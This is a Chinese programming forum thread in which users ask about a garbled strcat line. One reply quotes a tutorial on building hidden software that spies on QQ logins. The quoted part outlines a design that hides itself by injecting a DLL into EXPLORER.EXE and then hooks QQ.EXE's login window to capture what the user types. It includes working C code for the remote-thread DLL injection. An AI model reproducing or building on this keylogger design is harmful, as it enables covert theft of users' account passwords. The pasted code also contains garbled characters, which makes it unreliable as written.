//取得目标DLL的当前路径(路径可自由设置)
char szInspectDllPath[128] ;
GetCurrentDirectory ( 128, szInspectDllPath ) ;
strcat ( szInspectDllPath, "QQLandDlg.dll">\\debug\\InspectQQLandDlg.dll" ) ;
不知道">\\debug\\InspectQQLandDlg.dll指的是什么?
char szInspectDllPath[128] ;
GetCurrentDirectory ( 128, szInspectDllPath ) ;
strcat ( szInspectDllPath, "QQLandDlg.dll">\\debug\\InspectQQLandDlg.dll" ) ;
不知道">\\debug\\InspectQQLandDlg.dll指的是什么?
strcat(szStr, "InspectQQLandDlg.dll");这样szStr就是c:\\program file\\InspectQQLandDlg.dll
这个东西是哪里来得啊??
-------------
楼主肯定是从网页上复制代码粘贴到IDE里面的,所以有这些乱七八糟的字符
>明显是个<符号
以下是部分内容:
想必大家都已经知道,这类软件的特点就是在用户不知不觉的时候工作。在任务管理器中是看不到它们的,这就是隐藏了进程。采用插入内核的嵌入方式、利用远程插入线程技术、嵌入DLL线程、或挂接PSAPI等都可以达到效果,哎,既然是个菜鸟就选择一个最简单的来做个实验。 先讲一下思路:需要三个进程A,B,C;两个DLL。 初始进程A,用于在进程B中创建远程线程,创建成功立即退出,不会留给任务管理器任何捕捉它的机会(你根本来不及观察)。 进程B作为远程线程的寄主,选择的时候应该是那些系统中必须执行的进程,比如EXPLORER.EXE。其中的远程线程用于监视目标进程。 进程C为目标进程在这里也就是QQ.EXE。 第一个DLL(InspectQQLandDlg.dll),远程线程的载体。 第二个DLL(MyHook.dll),全局钩子函数的载体。 现在要做是利用进程A把InspectQQLandDlg.dll映射到进程B,同时启动该DLL中的远程线程,再利用该线程监视目标进程(QQ.EXE)QQ登陆窗口,一旦找到,立即把MyHook.dll映射到目标进程来监视用户的输入。 这样也清楚了这个软件设计的总体构架,下面用代码来具体实现。 1。远程线程的创建。先利用进程快照取得目标进程,相对比较简单 HANDLE hSnapshot ;
hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;
if ( hSnapshot == INVALID_HANDLE_value)
{
return 0;
} string lpName = "EXPLORER.EXE" ; //设定需要监视的进程名
PROCESSENTRY32 pe;
pe.dwSize = sizeof ( PROCESSENTRY32 ); for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk; fOk =
Process32Next( hSnapshot, &pe ) )
{
if ( pe.szExeFile == lpName )
{ //取得宿主进程(EXPLORER.EXE)的句柄
HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,
false, pe.th32ProcessID ) ; //取得目标DLL的当前路径(路径可自由设置)
char szInspectDllPath[128] ;
GetCurrentDirectory ( 128, szInspectDllPath ) ;
strcat ( szInspectDllPath, "QQLandDlg.dll">\\debug\\InspectQQLandDlg.dll" ) ; //申请存放文件名的空间
LPVOID pszInspectDllRemote ;
int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,
NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ; //把dll文件名写入申请的空间
WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,
(LPVOID)szInspectDllPath, InspectDllNameLength, NULL); //获取动态链接库函数地址
HMODULE hModule ;
hModule = GetModuleHandle ( "kernel32.DLL" ) ;
LPTHREAD_START_ROUTINE fnStartAddr ;
fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,
"LoadLibraryA" ) ; //创建远程线程
HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄
hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,
fnStartAddr, pszInspectDllRemote, 0, NULL ) ; if( hSnapshot != NULL )
CloseHandle ( hSnapshot ) ;//关闭进程快照 CloseHandle ( hRemoteProcess ) ;
break ;
}
}
char szInspectDllPath[128] ;
GetCurrentDirectory ( 128, szInspectDllPath ) ;
strcat ( szInspectDllPath, "QQLandDlg.dll">\\debug\\InspectQQLandDlg.dll" );
请问上面的strcat一句表示什么意思啊?>是什么意思?
这句话是错误的,所以不用明白是什么意思了.你运行看就知道了
char szInspectDllPath[128] ;
GetCurrentDirectory ( 128, szInspectDllPath ) ;
strcat ( szInspectDllPath, "\\debug\\InspectQQLandDlg.dll" );
GetCurrentDirectory ( 128, szInspectDllPath );
_tprintf(_T("Current Directory is %s\n"),szInspectDllPath);请问_T是什么意思?为什么要加上它?用printf("Current Directory is %s\n",szInspectDllPath);不是也一样吗?